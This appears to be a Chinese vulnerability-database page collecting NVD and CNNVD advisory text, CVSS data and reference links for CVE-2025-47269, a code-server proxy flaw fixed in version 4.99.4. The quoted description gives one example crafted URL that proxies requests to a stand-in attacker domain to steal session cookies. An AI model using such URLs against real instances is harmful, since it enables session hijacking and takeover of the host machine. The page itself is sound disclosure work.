一、 漏洞 CVE-2025-47269 基础信息
漏洞信息
                                        # 通过使用户访问特制的代理URL可提取code-server会话cookie

N/A
提示
尽管我们采用了先进的大模型技术，但其输出仍可能包含不准确或过时的信息。
神龙会尽力确保数据准确，但也请结合实际情况进行甄别与判断。
神龙祝您一切顺利！
漏洞标题
code-server session cookie can be extracted by having user visit specially crafted proxy URL
来源：美国国家漏洞数据库 NVD
漏洞描述信息
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
来源：美国国家漏洞数据库 NVD
CVSS信息
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
来源：美国国家漏洞数据库 NVD
漏洞类别
未有动机的代理或中间人(混淆代理)
来源：美国国家漏洞数据库 NVD
漏洞标题
Coder Code-Server 安全漏洞
来源：中国国家信息安全漏洞库 CNNVD
漏洞描述信息
Coder Code-Server是美国Coder公司的一款基于微软开源的 Visual Studio Code 开发的产品。用于为开发者构建一个便捷统一的开发环境。 Coder Code-Server 4.99.4之前版本存在安全漏洞，该漏洞源于未正确验证代理请求端口，可能导致会话令牌泄露。
来源：中国国家信息安全漏洞库 CNNVD
CVSS信息
N/A
来源：中国国家信息安全漏洞库 CNNVD
漏洞类别
其他
来源：中国国家信息安全漏洞库 CNNVD
二、漏洞 CVE-2025-47269 的公开POC
# POC 描述 源链接 神龙链接
三、漏洞 CVE-2025-47269 的情报信息

  • 标题： Release v4.99.4 · coder/code-server · GitHub -- 🔗来源链接

    标签： x_refsource_MISC

    神龙速读
    Release v4.99.4 · coder/code-server · GitHub

  • 标题： Session cookie can be extracted by having user visit specially crafted proxy URL · Advisory · coder/code-server · GitHub -- 🔗来源链接

    标签： x_refsource_CONFIRM

    神龙速读
    Session cookie can be extracted by having user visit specially crafted proxy URL · Advisory · coder/code-server · GitHub

  • 标题： fix: parse part in path proxy (#7337) · coder/code-server@47d6d3a · GitHub -- 🔗来源链接

    标签： x_refsource_MISC

    神龙速读
    fix: parse part in path proxy (#7337) · coder/code-server@47d6d3a · GitHub
  • https://nvd.nist.gov/vuln/detail/CVE-2025-47269